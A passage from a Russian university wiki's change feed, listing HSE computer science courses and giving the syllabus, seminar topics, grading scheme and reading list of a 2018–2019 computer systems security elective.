&lt;br /&gt;
[[Байесовские методы машинного обучения 2017 | Байесовские методы машинного обучения]]&lt;br /&gt;
&lt;br /&gt;
[[Функциональное программирование 2018 | Функциональное программирование]]&lt;br /&gt;
&lt;br /&gt;
[http://telegra.ph/Kurs-Vvedenie-v-OOP-VSHEH-2018-Modul-3-01-30 Введение в ООП]&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
[[Современные методы машинного обучения (курс майнора) 2017/2018]]&lt;br /&gt;
&lt;br /&gt;
[[Введение в программирование (курс майнора) 2017/2018]]&lt;br /&gt;
&lt;br /&gt;
[[Майнор Интеллектуальный анализ данных/Введение в анализ данных/2017-2018 | Введение в анализ данных (курс майнора)]]&lt;br /&gt;
&lt;br /&gt;
[[Прикладные задачи анализа данных (майнор - весна 2018)]]&lt;br /&gt;
&lt;br /&gt;
[[Маго-лего &amp;quot;Линейная алгебра в приложениях&amp;quot; весна 2018 | Линейная алгебра в приложениях (маго-лего)]]&lt;br /&gt;
&lt;br /&gt;
[[Функциональный анализ 2017/18 | Функциональный анализ на ПМИ (факультатив)]]&lt;br /&gt;
&lt;br /&gt;
[[Дополнительные главы теории вероятностей и математической статистики (факультативы) | Дополнительные главы теории вероятностей и математической статистики (факультативы)]]&lt;br /&gt;
&lt;br /&gt;
[[Дополнительные главы дискретной математики 2017/18 | Дополнительные главы дискретной математики (факультатив)]]&lt;br /&gt;
&lt;br /&gt;
[[Цифровые технологии в гуманитарных науках]]&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Курсы в рамках проекта [https://www.hse.ru/dataculture/ Data Culture]==&lt;br /&gt;
&lt;br /&gt;
=== 2 семестр ===&lt;br /&gt;
&lt;br /&gt;
[[Цифровая_грамотность_2018_(2_семестр)|Цифровая грамотность (факультет гуманитарных наук — 2 семестр: ИЯМК, Филология, История искусств, Культурология, 1 курс)]]&amp;lt;br /&amp;gt;&lt;br /&gt;
[[Научно-исследовательский семинар (ФСН) |Научно-исследовательский семинар (ОП &amp;quot;Политология&amp;quot;, 1 курс)]]&amp;lt;br /&amp;gt;&lt;br /&gt;
[[Introduction_to_Data_Culture|Introduction to Data Culture (HSE and University of London Parallel Degree Programme in International Relations, 1 year)]]&amp;lt;br /&amp;gt;&lt;br /&gt;
[[ИИ_и_БД|Искусственный интеллект и большие данные (ОП &amp;quot;Дизайн&amp;quot;, &amp;quot;Мода&amp;quot;, 1 курс)]]&amp;lt;br /&amp;gt;&lt;br /&gt;
[[Компьютерная лингвистика и информационные технологии |Компьютерная лингвистика и информационные технологии (ОП &amp;quot;Фундаментальная и компьютерная лингвистика&amp;quot;, 4 курс, 2 семестр)]]&amp;lt;br /&amp;gt;&lt;br /&gt;
[[Основы анализа данных в международных отношениях|Основы анализа данных в международных отношениях (ОП &amp;quot;Международные отношения&amp;quot;, 2 курс, 4 модуль)]]&amp;lt;br /&amp;gt;&lt;br /&gt;
[[Введение в data science (2_семестр)|Профориентационный семинар (блок по введению в data scicence) (Факультет социальных наук — 2 семестр: Социология, 1 курс)]]&amp;lt;br /&amp;gt;&lt;br /&gt;
[[Введение в Data Science| Введение в Data Science (ФБиМ, 4 модуль)]]&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== 1 семестр ===&lt;br /&gt;
&lt;br /&gt;
[[Цифровая_грамотность|Цифровая грамотность (факультет гуманитарных наук — 1 семестр: История, Философия, 1 курс)]]&amp;lt;br /&amp;gt;&lt;br /&gt;
[[Машинное обучение (факультет экономических наук)|Машинное обучение (факультет экономических наук)]] &amp;lt;br /&amp;gt;&lt;br /&gt;
[[Компьютерная лингвистика и информационные технологии |Компьютерная лингвистика и информационные технологии (ОП &amp;quot;Фундаментальная и компьютерная лингвистика&amp;quot;, 4 курс, 1 семестр)]]&amp;lt;br /&amp;gt;&lt;br /&gt;
[[Извлечение и анализ интернет-данных | Извлечение и анализ интернет-данных (факультет экономических наук)]]&amp;lt;br /&amp;gt;&lt;br /&gt;
[[Анализ больших данных в социальных науках (ФСН, 2017) | Анализ больших данных в социальных науках (ФСН, 2017)]]&amp;lt;br /&amp;gt;&lt;br /&gt;
[[Информационные_технологии_в_деятельности_юриста|Информационные технологии в деятельности юриста (Факультет права)]] &amp;lt;br /&amp;gt;&lt;br /&gt;
[[Машинное_обучение_для_лингвистов|Машинное обучение (магистратура Школы лингвистики)]] &amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Курсы магистратуры Финансовые технологии и анализ данных ==&lt;br /&gt;
&lt;br /&gt;
[[Вероятностные_модели_и_прикладная_статистика_в_финансовой_математике|Вероятностные модели и прикладная статистика в финансовой математике]] &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Рекомендательные системы и поиск закономерностей в данных|Рекомендательные системы и поиск закономерностей в данных]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Courses of Data Science master  program/Курсы магистерской программы &amp;quot;Науки о данных&amp;quot; ==&lt;br /&gt;
&lt;br /&gt;
[[Introduction to Machine Learning and Data Mining|Introduction to Machine Learning and Data Mining]]&lt;br /&gt;
&lt;br /&gt;
== Курсы за 2016/17 учебный год ==&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! 1 курс !! 2 курс !! 3-4 курс !! майноры&lt;br /&gt;
|-&lt;br /&gt;
|&lt;br /&gt;
&lt;br /&gt;
[[Математический анализ на ПМИ_2016/2017 | Математический анализ на ПМИ (пилотный поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Линейная алгебра и геометрия_2016/2017 | Линейная алгебра и геометрия на ПМИ]]&lt;br /&gt;
&lt;br /&gt;
[[Дискретная_математика_1_2016/2017 | Дискретная математика-1 на ПМИ]]&lt;br /&gt;
&lt;br /&gt;
[[Основы и методология программирования_2016/2017_пилотный_поток | Основы и методология программирования на ПМИ (пилотный поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Основы и методология программирования_2016/2017 | Основы и методология программирования на ПМИ (основной поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Алгоритмы_и_структуры_данных_на_ПМИ_(пилотный_поток) | Алгоритмы и структуры данных на ПМИ (пилотный поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Алгоритмы_и_структуры_данных_на_ПМИ_(основной_поток) | Алгоритмы и структуры данных на ПМИ (основной поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Алгебра_на_ПМИ_2016/2017 | Алгебра на ПМИ]]&lt;br /&gt;
&lt;br /&gt;
[http://hsealgebra17.wikidot.com/ Алгебра на ПИ]&lt;br /&gt;
&lt;br /&gt;
|| &lt;br /&gt;
&lt;br /&gt;
[[Математический анализ_2016/2017 | Математический анализ-3 на ПМИ (основной поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Математически_анализ_3_на_ПМИ_(пилотный_поток) | Математический анализ-3 на ПМИ (пилотный поток)]]&lt;br /&gt;
&lt;br /&gt;
[[DM_2_2016_2017 | Дискретная математика-2 на ПМИ (основной поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Дискретная математика_2_2016/2017 | Дискретная математика-2 на ПМИ (пилотный поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Алгоритмы и структуры данных_2_2016/2017 | Алгоритмы и структуры данных – 2 на ПМИ (основной поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Теория вероятностей_2016/2017 | Теория вероятностей на ПМИ (основной поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Теория_вероятностей_2016/2017_(пилотный_поток) | Теория вероятностей на ПМИ (пилотный поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Архитектура_компьютеров_и_операционные_системы_2016/2017 | Архитектура компьютеров и операционные системы]]&lt;br /&gt;
&lt;br /&gt;
[[Факультатив_теория_вычислений_2016/2017 | Факультатив теория вычислений на ПМИ]]&lt;br /&gt;
&lt;br /&gt;
[[Дополнительные_главы_теории_вероятностей_(факультатив,_2017) | Дополнительные главы теории вероятностей (факультатив)]]&lt;br /&gt;
&lt;br /&gt;
[[Дифференциальные_уравнения_(2_курс,_2016/2017) | Дифференциальные уравнения]]&lt;br /&gt;
&lt;br /&gt;
[[Математическая_статистика_2016/2017_(пилотный_поток) | Математическая статистика на ПМИ (пилотный поток)]]&lt;br /&gt;
&lt;br /&gt;
[[Архитектура_компьютеров_и_операционные_системы_2016/2017 | Архитектура компьютеров и операционные системы ]]&lt;br /&gt;
&lt;br /&gt;
|| &lt;br /&gt;
&lt;br /&gt;
[[НИС_Машинное_обучение_и_приложения_2016/2017 | НИС Машинное обучение и приложения на ПМИ]]&lt;br /&gt;
&lt;br /&gt;
[[Машинное_обучение_1/2016_2017 | Машинное обучение 1 на ПМИ]]&lt;br /&gt;
&lt;br /&gt;
[[Машинное_обучение_2/2016_2017 | Машинное обучение 2 на ПМИ]]&lt;br /&gt;
&lt;br /&gt;
[[Прикладной_статистический_анализ_данных | Прикладной статистический анализ данных на ПМИ]]&lt;br /&gt;
&lt;br /&gt;
[[Численные_методы_в_анализе_данных | Численные методы в анализе данных на ПМИ]]&lt;br /&gt;
&lt;br /&gt;
[http://www.machinelearning.ru/wiki/index.php?title=Статистика_случайных_процессов_(курс_лекций,_ФКН_ВШЭ) Вероятностные модели и статистика случайных процессов на ПМИ]&lt;br /&gt;
&lt;br /&gt;
[http://www.machinelearning.ru/wiki/index.php?title=Opt Методы оптимизации на ПМИ (специализации МОП и РС)]&lt;br /&gt;
&lt;br /&gt;
[[Методы_оптимизации_(весна_2017)|Методы оптимизации 2 (дискретная оптимизация)]]&lt;br /&gt;
&lt;br /&gt;
[[НИС_Распределенные_системы_(осень_2016) | НИС Распределенные системы]]&lt;br /&gt;
&lt;br /&gt;
[[Анализ и верификация алгоритмов биржевой торговли | Анализ и верификация алгоритмов для систем биржевой торговли ]]&lt;br /&gt;
&lt;br /&gt;
[[Программирование_на_графических_процессорах | Программирование на графических процессорах]]&lt;br /&gt;
&lt;br /&gt;
[[ЯРПО | Языки разработки ПО (курс по выбору) на ПМИ]]&lt;br /&gt;
&lt;br /&gt;
[[Data analysis (Software Engineering) 2017 | Data analysis  на ПИ]]&lt;br /&gt;
&lt;br /&gt;
[[Базы данных 2 | Базы данных 2 ]]&lt;br /&gt;
&lt;br /&gt;
[[Компьютерные сети 2 | Компьютерные сети 2]]&lt;br /&gt;
&lt;br /&gt;
[[Машинное_обучение_на_больших_данных | Машинное обучение на больших данных на ПМИ]]&lt;br /&gt;
&lt;br /&gt;
||&lt;br /&gt;
&lt;br /&gt;
[[Современные_методы_машинного_обучения_(курс_майнора) | Современные методы машинного обучения (курс майнора)]]&lt;br /&gt;
&lt;br /&gt;
[[Майнор_Интеллектуальный_анализ_данных/Введение_в_программирование_2016/2017 | Введение в программирование (курс майнора)]]&lt;br /&gt;
&lt;br /&gt;
[[Майнор Интеллектуальный анализ данных/Введение в анализ данных/2016-2017 | Введение в анализ данных (курс майнора)]]&lt;br /&gt;
&lt;br /&gt;
[[Майнор Интеллектуальный анализ данных/Прикладные задачи анализа данных| Прикладные задачи анализа данных (курс майнора)]]&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
{|width=100%&lt;br /&gt;
|style=&amp;quot;vertical-align:top;&amp;quot;|&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Первая колонка --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Курсы за 2015/16 учебный год ===&lt;br /&gt;
{|&lt;br /&gt;
|-&lt;br /&gt;
| [[Технологии программирования|Технологии программирования на ПМИ]]&lt;br /&gt;
|-&lt;br /&gt;
|[[ОиМП-2015|Основы и методология программирования на ПМИ]]&lt;br /&gt;
|-&lt;br /&gt;
|[[Алгоритмы и структуры данных 2016]]&lt;br /&gt;
|-&lt;br /&gt;
|[[Линейная алгебра и геометрия_2015/2016 | Линейная алгебра и геометрия на ПМИ]]&lt;br /&gt;
|-&lt;br /&gt;
|[[Алгебра_2015/2016 | Алгебра на ПМИ]]&lt;br /&gt;
|-&lt;br /&gt;
|[http://hsealgebra.wikidot.com/ Алгебра на ПИ]&lt;br /&gt;
|-&lt;br /&gt;
|[[Компьютерные системы]]&lt;br /&gt;
|-&lt;br /&gt;
|[[Математический анализ на ПМИ_2015/2016 | Математический анализ на ПМИ]]&lt;br /&gt;
|-&lt;br /&gt;
|[[Факультатив_Матпрактикум | Матпрактикум (факультатив) на ПМИ]]&lt;br /&gt;
|-&lt;br /&gt;
|[[Data analysis (Software Engineering)]]&amp;lt;br /&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|[[Майнор Интеллектуальный анализ данных/Введение в программирование|Введение в программирование (курс майнора) на ПМИ]]&lt;br /&gt;
|-&lt;br /&gt;
|[[Майнор Интеллектуальный анализ данных/Введение в анализ данных/2015-2016|Введение в анализ данных (курс майнора) на ПМИ]]&lt;br /&gt;
|-&lt;br /&gt;
|[[НИС Машинное обучение и приложения|НИС Машинное обучение и приложения на ПМИ]]&lt;br /&gt;
|-&lt;br /&gt;
|[[Архитектура компьютеров и системное программирование (ПМИ_4, 2015/2016)|Архитектура компьютеров и системное программирование (4 курс)]]&lt;br /&gt;
|-&lt;br /&gt;
|[[Дифференциальные уравнения (2 курс, 2015/2016)| Дифференциальные уравнения]]&lt;br /&gt;
|-&lt;br /&gt;
|[[Введение в VBA|Введение в VBA]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
|style=&amp;quot;vertical-align:top;&amp;quot;|&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Вторая колонка --&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Курсы за 2014/15 учебный год ===&lt;br /&gt;
{|&lt;br /&gt;
|-&lt;br /&gt;
|[[Основы и методологии программирования]]&amp;lt;br /&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|[[Алгоритмы и структуры данных 2015 | Алгоритмы и структуры данных]]&amp;lt;br /&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|[[Анализ данных (Программная инженерия)]]&amp;lt;br /&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|[[Алгебра_2014/2015 | Алгебра]]&amp;lt;br /&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|[[Magolego_sna_2015| MAGoLEGO Social Network Analysis]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==== Проектная работа ====&lt;br /&gt;
{|&lt;br /&gt;
|-&lt;br /&gt;
|[[Проектная работа]] &amp;lt;br /&amp;gt;&lt;br /&gt;
|-&lt;br /&gt;
|[[Учебная практика 1 курс (2016)]]&lt;br /&gt;
|-&lt;br /&gt;
|[[Проектная работа 2 курс (2016)]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!-- Завершение двухколоночной таблицы --&amp;gt;&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Мероприятия факультета компьютерных наук ==&lt;br /&gt;
=== Summer School 2015 ===&lt;br /&gt;
[[Introduction to Natural Language Processing|Introduction to Natural Language Processing]]&lt;br /&gt;
#[[Lecture 1. Introduction|Introduction]]&lt;br /&gt;
#[[Lecture 2. Tokenization and word counts|Tokenization and word counts]]&lt;br /&gt;
#[[Lecture 3. POS tagging. Key word and phrase extraction|POS tagging. Key word and phrase extraction]]&lt;br /&gt;
#[[Lecture 4. Parsing|Parsing]]&lt;br /&gt;
#[[Lecture 5. Language sources|Language sources]]&lt;br /&gt;
#[[Lecture 6. Synonyms and near-synonyms detection|Synonyms and near-synonyms detection]]&lt;br /&gt;
#[[Lecture 8. Suffix trees for NLP|Suffix trees for NLP]]&lt;br /&gt;
#[[NLP References|References]]&lt;br /&gt;
&lt;br /&gt;
== Архив ==&lt;br /&gt;
* [[Учебная практика 1 курс (2015)]]&lt;/div&gt;</summary>
		<author><name>Gamajun</name></author>
	</entry>
	<entry>
		<id>https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019&amp;diff=34877</id>
		<title>Безопасность компьютерных систем 2019</title>
		<link rel="alternate" type="text/html" href="https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2019&amp;diff=34877"/>
		<updated>2019-09-12T13:29:02Z</updated>

		<summary type="html">&lt;p&gt;Gamajun: Новая страница: «== Безопасность компьютерных систем ==  Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осе…»&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Безопасность компьютерных систем ==&lt;br /&gt;
&lt;br /&gt;
Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2019 года (1 и 2 модуль).&lt;br /&gt;
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения. &lt;br /&gt;
&lt;br /&gt;
=== План курса ===&lt;br /&gt;
&lt;br /&gt;
Лекции:&lt;br /&gt;
&lt;br /&gt;
(1-й модуль)&lt;br /&gt;
&lt;br /&gt;
# (09.09) Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.&lt;br /&gt;
# (14.09) Безопасность приложений. Мобильные приложения и их уязвимости.&lt;br /&gt;
# (23.09) Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.&lt;br /&gt;
# (30.09) Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.&lt;br /&gt;
# (07.10) Безопасность приложений. Secure Development Life Cycle  - методы поиска недостатков в ПО.&lt;br /&gt;
# (14.10) Безопасность приложений. Аутентификация и авторизация.&lt;br /&gt;
&lt;br /&gt;
(2-й модуль)&lt;br /&gt;
# (28.10) Безопасность приложений. Уязвимости, связанные с переполнением буфера.&lt;br /&gt;
# (04.11) Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода. &lt;br /&gt;
# (11.11) Механизмы безопасности приложений в операционных системах. &lt;br /&gt;
# (18.11) Безопасность приложений. Продвинутые бинарные уязвимости, WebAssembly.&lt;br /&gt;
# (25.11) Криптография. Введение и история. Симметричные шифры и атаки на них.&lt;br /&gt;
# (02.12) Криптография, Асимметричные шифры и атаки на них.&lt;br /&gt;
# (09.12) Криптография. Приложения - PKI, WoT, Блокчейн.&lt;br /&gt;
# (16.12) Заключительная лекция.&lt;br /&gt;
&lt;br /&gt;
Семинары:&lt;br /&gt;
# (16.09) [[Безопасность компьютерных систем 2019/Уязвимости мобильных приложений]]&lt;br /&gt;
# (23.09) [[Безопасность_компьютерных_систем_2019/XSS|Веб-уязвимости. Обзор, инструменты. XSS.]]&lt;br /&gt;
# (30.10) [[Безопасность_компьютерных_систем_2019/SQLi|Веб-уязвимости. SQLi.]]&lt;br /&gt;
# (07.10) [[Безопасность_компьютерных_систем_2019/XXE|Веб-уязвимости. XXE, прочее интересное.]]&lt;br /&gt;
# (14.10) Семинар переносится на 30.10&lt;br /&gt;
# (30.10) [[Безопасность_компьютерных_систем_2019/FU|Уязвимости загрузки файлов.]]&lt;br /&gt;
# (04.11) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_1|Бинарные программы. Инструменты.]]&lt;br /&gt;
# (11.11) [[Безопасность_компьютерных_систем_2019/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]&lt;br /&gt;
# (18.11) [[Безопасность_компьютерных_систем_2019/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]&lt;br /&gt;
# (25.11) [[Бинарные программы. Обратная разработка программ.]]&lt;br /&gt;
# (02.12) [[Безопасность_компьютерных_систем_2019/XOR|Атаки на блочные шифры.]]&lt;br /&gt;
# (09.12) [[Безопасность_компьютерных_систем_2019/RSA|Атаки на RSA.]]&lt;br /&gt;
&lt;br /&gt;
=== Материалы лекций ===&lt;br /&gt;
&lt;br /&gt;
Лекционные материалы публикуются по мере продвижения по курсу.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Практические задания ===&lt;br /&gt;
&lt;br /&gt;
В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_1|Задание по теме &amp;quot;Уязвимости мобильных приложений&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_2|Задание по теме &amp;quot;Веб-уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_3|Задание по теме &amp;quot;Бинарные уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2019/Задание_4|Задание по теме &amp;quot;Криптографические уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
==== Общее ====&lt;br /&gt;
&lt;br /&gt;
=== Итоговый тест ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Оценки ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Расчет оценки ===&lt;br /&gt;
Вклад в оценку:&lt;br /&gt;
* Практические задания (4 штуки) - 80%&lt;br /&gt;
* Итоговый тест (на экзамене) - 20%&lt;br /&gt;
&lt;br /&gt;
=== Литература ===&lt;br /&gt;
Основная литература:&lt;br /&gt;
* Michał Zalewski. The Tangled Web: A Guide to Securing Modern Web Applications.&lt;br /&gt;
* Chris Anley, John Heasman, Felix Lindner, Gerardo Richarte. The Shellcoder&#039;s Handbook: Discovering and Exploiting Security Holes.&lt;br /&gt;
* Dafydd Stuttard, Marcus Pinto. The Web Application Hacker&#039;s Handbook: Detecting and Exploiting Security Flaws. &lt;br /&gt;
* Christopher Swenson, Modern Cryptanalysis: Techniques for Advanced Code Breaking. &lt;br /&gt;
* Æleen Frisch. Essential system administration.&lt;br /&gt;
* Dominic Chell, Tyrone Erasmus, Shaun Colley, Ollie Whitehouse. The Mobile Application Hacker&#039;s Handbook&lt;br /&gt;
&lt;br /&gt;
Дополнительная литература:&lt;br /&gt;
* [https://docs.google.com/document/d/13zgZ_CRRHADwxf41mSSSuoJQLkMc67TXxpYLoW6lRak/edit#heading=h.l7t8ktb3r2q7 Веб-безопасность 101. Курс молодого бойца.]&lt;br /&gt;
&lt;br /&gt;
=== Контакты ===&lt;br /&gt;
* Почта: gamajun@gmail.com, dgamaunov@hse.ru&lt;br /&gt;
* Tg: @jamadharma&lt;br /&gt;
* Tg чат: https://t.me/hse_security_course&lt;/div&gt;</summary>
		<author><name>Gamajun</name></author>
	</entry>
	<entry>
		<id>https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2018&amp;diff=31453</id>
		<title>Безопасность компьютерных систем 2018</title>
		<link rel="alternate" type="text/html" href="https://wiki.cs.hse.ru/index.php?title=%D0%91%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_%D0%BA%D0%BE%D0%BC%D0%BF%D1%8C%D1%8E%D1%82%D0%B5%D1%80%D0%BD%D1%8B%D1%85_%D1%81%D0%B8%D1%81%D1%82%D0%B5%D0%BC_2018&amp;diff=31453"/>
		<updated>2018-12-24T12:20:52Z</updated>

		<summary type="html">&lt;p&gt;Gamajun: /* План курса */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Безопасность компьютерных систем ==&lt;br /&gt;
&lt;br /&gt;
Курс по выбору для студентов 3 и 4 курса ФКН ВШЭ, осень 2018 года (1 и 2 модуль).&lt;br /&gt;
Курс состоит из лекций и семинаров. Основной акцент сделан на безопасности приложений и разработке безопасного программного обеспечения. &lt;br /&gt;
&lt;br /&gt;
=== План курса ===&lt;br /&gt;
&lt;br /&gt;
Лекции:&lt;br /&gt;
&lt;br /&gt;
(1-й модуль)&lt;br /&gt;
&lt;br /&gt;
# (11.09) [https://drive.google.com/file/d/1EDgV5yNlBz0JqWbccX9-VX86Jl5gxXJ2 Вводная лекция. Безопасность приложений как фактор технологической конкуренции. Уязвимости программного обеспечения и атаки на них. Основные понятия и определения. Модель нарушителя.]&lt;br /&gt;
# (18.09) [https://drive.google.com/open?id=1fDHsf5Re3j6DeuR1_Za1R0ZaiHI2dzpy Безопасность приложений. Мобильные приложения и их уязвимости.]&lt;br /&gt;
# (25.09) [https://drive.google.com/open?id=1EflFiY0-nOgGaBkTcrtA8pthr53vkq5v Безопасность приложений. Injection-атаки и санитизация запросов во внешние подсистемы.]&lt;br /&gt;
# (02.10) [https://drive.google.com/open?id=1PqXpu9XMw4mH_Mg1V6NQ2brW24XNKCFq Безопасность приложений. Валидация сложных структур данных. Загрузка файлов. SSRF.]&lt;br /&gt;
# (09.10) [https://drive.google.com/open?id=1OTsNFflqktWq_sGUxF0oeBvE0HuSFSmL Безопасность приложений. Secure Development Life Cycle  - методы поиска недостатков в ПО.]&lt;br /&gt;
# (16.10) [https://drive.google.com/open?id=1slDOuuFViB8mmvE-rcCP0BQQVP7QM0fi Безопасность приложений. Аутентификация и авторизация.]&lt;br /&gt;
&lt;br /&gt;
(2-й модуль)&lt;br /&gt;
# (30.10) [https://drive.google.com/file/d/1xCUxJhb5DIVKuMMMOtfrZ_GyBKZjkVhj Безопасность приложений. Уязвимости, связанные с переполнением буфера.]&lt;br /&gt;
# (06.11) [https://drive.google.com/file/d/198A3zf_COhACiMaA_1JC7jPrrY7F8pr8 Безопасность приложений. Уязвимости переполнения кучи. Механизмы защиты в современных операционных систем. ASLR, защита стека. Методы обхода.] &lt;br /&gt;
# (13.11) [https://drive.google.com/file/d/1hTcX0cWHakNh3y7d6AfoLojmBaNFBrfL Механизмы безопасности приложений в операционных системах.] &lt;br /&gt;
# (20.11) [Безопасность приложений. Продвинутые бинарные уязвимости, WebAssembly.]&lt;br /&gt;
# (27.11) [https://drive.google.com/file/d/1AXe9ZzQEGA2tmKOYUsja_DkGMTFMt2Sc Криптография. Введение и история. Симметричные шифры и атаки на них.]&lt;br /&gt;
# (04.12) [https://drive.google.com/file/d/1mwQ0a9lpAWfzOa2ZjUxT5yeDP6DaSAc8 Криптография, Асимметричные шифры и атаки на них.]&lt;br /&gt;
# (11.12) [https://drive.google.com/file/d/1aWJog7iPfwAzGifK8CV9HDKG2tXaxPwG Криптография. Приложения - PKI, WoT, Блокчейн.]&lt;br /&gt;
# (18.12) [https://drive.google.com/file/d/1mFal2MBiiYOMFR1HolwzQq3zxvD0tP40 Криптография. Пост-квантовая криптография. Заключение.]&lt;br /&gt;
&lt;br /&gt;
Семинары:&lt;br /&gt;
# (18.09) [[Безопасность компьютерных систем 2018/Уязвимости мобильных приложений]]&lt;br /&gt;
# (25.09) [[Безопасность_компьютерных_систем_2018/XSS|Веб-уязвимости. Обзор, инструменты. XSS.]]&lt;br /&gt;
# (02.10) [[Безопасность_компьютерных_систем_2018/SQLi|Веб-уязвимости. SQLi.]]&lt;br /&gt;
# (09.10) [http://xxe.hse.seclab.cs.msu.su Веб-уязвимости. XXE, прочее интересное.]&lt;br /&gt;
# (16.10) [[Безопасность_компьютерных_систем_2018/FU|Уязвимости загрузки файлов.]]&lt;br /&gt;
# (30.10) [[Безопасность_компьютерных_систем_2018/Бинарные_программы_1|Бинарные программы. Инструменты.]]&lt;br /&gt;
# (06.11) [[Безопасность_компьютерных_систем_2018/Бинарные_программы_2|Бинарные программы. Обнаружение уязвимостей и эксплуатация.]]&lt;br /&gt;
# (13.11) [[Безопасность_компьютерных_систем_2018/SECCOMP|Механизмы безопасности операционных систем на примере Linux Seccomp]]&lt;br /&gt;
# (20.11) [[Бинарные программы. Обратная разработка программ.]]&lt;br /&gt;
# (27.11) [https://drive.google.com/file/d/1Aq9shLjGTypbGrGSFksfEdziu_XX41kG/view Атаки на блочные шифры.]&lt;br /&gt;
# (04.12) [[Безопасность_компьютерных_систем_2018/RSA|Атаки на RSA.]]&lt;br /&gt;
# (11.12) [[Безопасность_компьютерных_систем_2018/ICO|ICO, смартконтракты и Solidity.]]&lt;br /&gt;
&lt;br /&gt;
=== Материалы лекций ===&lt;br /&gt;
&lt;br /&gt;
Лекционные материалы публикуются по мере продвижения по курсу.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Практические задания ===&lt;br /&gt;
&lt;br /&gt;
В рамках курса нужно выполнять домашние задания, выдаваемые на семинарах. Всего запланировано 4 задания.&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2018/Задание_1|Задание по теме &amp;quot;Уязвимости мобильных приложений&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
[[Безопасность_компьютерных_систем_2018/Задание_2|Задание по теме &amp;quot;Веб-уязвимости&amp;quot;]]&lt;br /&gt;
&lt;br /&gt;
